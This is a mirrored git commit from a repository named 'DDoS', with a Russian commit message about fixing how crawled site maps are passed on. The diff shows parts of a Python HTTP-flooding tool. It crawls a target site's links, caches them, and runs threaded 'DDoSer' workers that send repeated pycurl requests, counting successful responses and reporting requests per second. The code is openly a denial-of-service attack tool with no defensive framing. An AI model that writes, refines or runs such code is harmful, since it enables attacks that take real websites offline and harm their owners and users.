mirror of
https://github.com/Llloooggg/DDoS.git
synced 2026-03-06 10:06:23 +03:00
Исправил передачу собранных карт сайта
This commit is contained in:
18
__init__.py
18
__init__.py
@@ -17,7 +17,7 @@ script_path = os.path.abspath(os.path.dirname(sys.argv[0]))
|
|||||||
|
|
||||||
if not os.path.exists(f'{script_path}/maps/'):
|
if not os.path.exists(f'{script_path}/maps/'):
|
||||||
os.makedirs(f'{script_path}/maps/')
|
os.makedirs(f'{script_path}/maps/')
|
||||||
|
|
||||||
|
|
||||||
def url_grab(full_url):
|
def url_grab(full_url):
|
||||||
|
|
||||||
@@ -25,15 +25,16 @@ def url_grab(full_url):
|
|||||||
|
|
||||||
with open(f'{script_path}/maps/{url}', 'r') as f:
|
with open(f'{script_path}/maps/{url}', 'r') as f:
|
||||||
subUrls = f.read().splitlines()
|
subUrls = f.read().splitlines()
|
||||||
else:
|
|
||||||
|
|
||||||
|
else:
|
||||||
subUrls = link_extractor.extractor('http://' + url)
|
subUrls = link_extractor.extractor('http://' + url)
|
||||||
|
|
||||||
os.mknod(f'{script_path}/maps/{url}')
|
|
||||||
with open(f'{script_path}/maps/{url}', 'w') as f:
|
with open(f'{script_path}/maps/{url}', 'w') as f:
|
||||||
for link in subUrls:
|
for link in subUrls:
|
||||||
print(link.strip(), file=f)
|
print(link.strip(), file=f)
|
||||||
|
|
||||||
|
subUrls = list(subUrls)
|
||||||
|
|
||||||
print(datetime.now().strftime('[%X] ') + 'Карта сайта получена')
|
print(datetime.now().strftime('[%X] ') + 'Карта сайта получена')
|
||||||
return subUrls
|
return subUrls
|
||||||
|
|
||||||
@@ -51,7 +52,8 @@ class DDoSer(Thread):
|
|||||||
curl.setopt(curl.URL, self.url)
|
curl.setopt(curl.URL, self.url)
|
||||||
curl.setopt(curl.WRITEFUNCTION, lambda bytes: len(bytes))
|
curl.setopt(curl.WRITEFUNCTION, lambda bytes: len(bytes))
|
||||||
curl.perform()
|
curl.perform()
|
||||||
if curl.getinfo(pycurl.HTTP_CODE) == 200:
|
responseCode = curl.getinfo(pycurl.HTTP_CODE)
|
||||||
|
if responseCode == 200 or responseCode == 302:
|
||||||
requestCountSuccess += 1
|
requestCountSuccess += 1
|
||||||
curl.close()
|
curl.close()
|
||||||
requestCountExecuted += 1
|
requestCountExecuted += 1
|
||||||
@@ -96,10 +98,10 @@ if __name__ == '__main__':
|
|||||||
while requestCountExecuted < requestCount:
|
while requestCountExecuted < requestCount:
|
||||||
bar.update(requestCountExecuted)
|
bar.update(requestCountExecuted)
|
||||||
|
|
||||||
endTime = time.time() - startTime
|
workTime = time.time() - startTime
|
||||||
print(endTime)
|
print(
|
||||||
|
f'{datetime.now().strftime("[%X]")} Время выполнения: {workTime}c')
|
||||||
print(
|
print(
|
||||||
f'{datetime.now().strftime("[%X]")} Успешных запросов: {requestCountSuccess}')
|
f'{datetime.now().strftime("[%X]")} Успешных запросов: {requestCountSuccess}')
|
||||||
print(
|
print(
|
||||||
f'{datetime.now().strftime("[%X]")} Средняя скорость: {round(requestCountExecuted / endTime, 2)} з/с')
|
f'{datetime.now().strftime("[%X]")} Средняя скорость: {round(requestCountExecuted / workTime, 2)} з/с')
|
||||||
|
|||||||
Reference in New Issue
Block a user